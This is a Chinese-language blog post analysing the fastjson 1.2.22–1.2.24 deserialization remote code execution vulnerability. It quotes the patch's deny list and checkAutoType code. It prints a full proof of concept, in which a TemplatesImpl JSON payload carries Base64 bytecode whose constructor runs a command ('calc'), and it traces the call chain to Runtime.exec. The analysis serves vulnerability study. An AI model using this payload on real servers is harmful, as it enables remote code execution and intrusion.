fastjson 反序列化 poc 1.2.24

2017.5.3日更新：增加_tfactory为一个空object即{ }，使poc在各个jdk版本都起作用。影响版本更新：fastjson-1.2.22到1.2.24区间

背景

fastjson是一个java编写的高性能功能非常完善的JSON库，应用范围非常广，在github上star数都超过8k，在2017年3月15日，fastjson官方主动爆出fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。关于漏洞的具体详情可参考 https://github.com/alibaba/fastjson/wiki/security_update_20170315

受影响的版本

fastjson <= 1.2.24

静态分析

根据官方给出的补丁文件，主要的更新在这个checkAutoType函数上，而这个函数的主要功能就是添加了黑名单，将一些常用的反序列化利用库都添加到黑名单中。具体包括

bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework

下面我们来分析checkAutoType的函数实现：

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}

if (typeName.length() >= maxTypeNameLength) {
throw new JSONException("autoType is not support. " + typeName);
}

final String className = typeName.replace('$', '.');

if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}

for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
 clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

核心部分就是denyList的处理过程，遍历denyList，如果引入的库以denyList中某个deny打头，就会抛出异常，中断运行。

poc构造

通过静态分析得知，要构造一个可用的poc，肯定得引入denyList的库。下面是一个poc的代码

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}

@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

}

public static void main(String[] args) throws Exception {
Test t = new Test();
}
}

这个是Test.java的实现，在Test.java的构造函数中执行了一条命令，弹出计算器。接着分析poc

package com.alibaba.json.bvt.parser.deser.deny;

import com.alibaba.fastjson.parser.Feature;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;
import org.junit.Assert;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONException;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.json.bvtVO.deny.A;

import junit.framework.TestCase;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class DenyTest extends TestCase {
//ParserConfig config = new ParserConfig();
//config.setAutoTypeSupport(true);
//ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
 e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
public void test_0() throws Exception {
final String NASTY_CLASS = " com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String evilCode = readClass("Test.class");
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{ }," +
"\"_name\":\"a\",\"_tfactory\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl\",\"errorListener\":{\"$ref\":\"@\"},\"featureManager\":{}},\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
}

}

在这个poc中，最核心的部分是_bytecodes，它是要执行的代码，@type是指定的解析类，fastjson会根据指定类去反序列化得到该类的实例，在默认情况下，fastjson只会反序列化公开的属性和域，而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes却是私有属性，所以在parseObject的时候需要设置Feature.SupportNonPublicField，这样_bytecodes字段才会被反序列化。_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法，所以是设置不了的，只能依赖于jdk的实现，幸好在1.7.0_05版本中还没有在getTransletInstance()用到_tfactory属性，jdk1.8肯定是不可以的。于是我们的poc才能跑起来，最后我们看下调用链：

 public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

 public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

 transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
 _indentNumber, _tfactory);

if (_uriResolver != null) {
 transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
 transformer.setSecureProcessing(true);
}
return transformer;
}

private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});
try {
final int classCount = _bytecodes.length;
 _class = new Class[classCount];
if (classCount > 1) {
 _auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
 _class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
 _transletIndex = i;
}
else {
 _auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

在getTransletInstance调用defineTransletClasses，在defineTransletClasses方法中会根据_bytecodes来生成一个java类，生成的java类随后会被getTransletInstance方法用到生成一个实例，也也就到了最终的执行命令的位置Runtime.getRuntime.exec()下面我们上一张调用链的图，调用链,简单来说就是 fastjson 远程反序列化poc的构造和分析

JSON.parseObject…JavaBeanDeserializer.deserialze…FieldDeserializer.setValue…TemplatesImpl.getOutputPropertiesTemplatesImpl.newTransformerTemplatesImpl.getTransletInstance…Runtime.getRuntime().exec附上一张成功执行图：运行成功 fastjson 远程反序列化poc的构造和分析

5 总结poc影响jdk 1.7，1.8版本，1.6未测试，但是需要在parseObject的时候设置Feature.SupportNonPublicField，告诉个不幸的消息，该字段在fastjson1.2.22版本引入，这么一说的话就是poc只能在1.2.22和1.2.24版本区间起作用。最后给大家上个福利，github地址：完整的Intellij IDEA poc环境:https://github.com/shengqi158/fastjson-remote-code-execute-poc

本文地址：http://xxlegend.com/2017/04/29/title- fastjson 远程反序列化poc的构造和分析/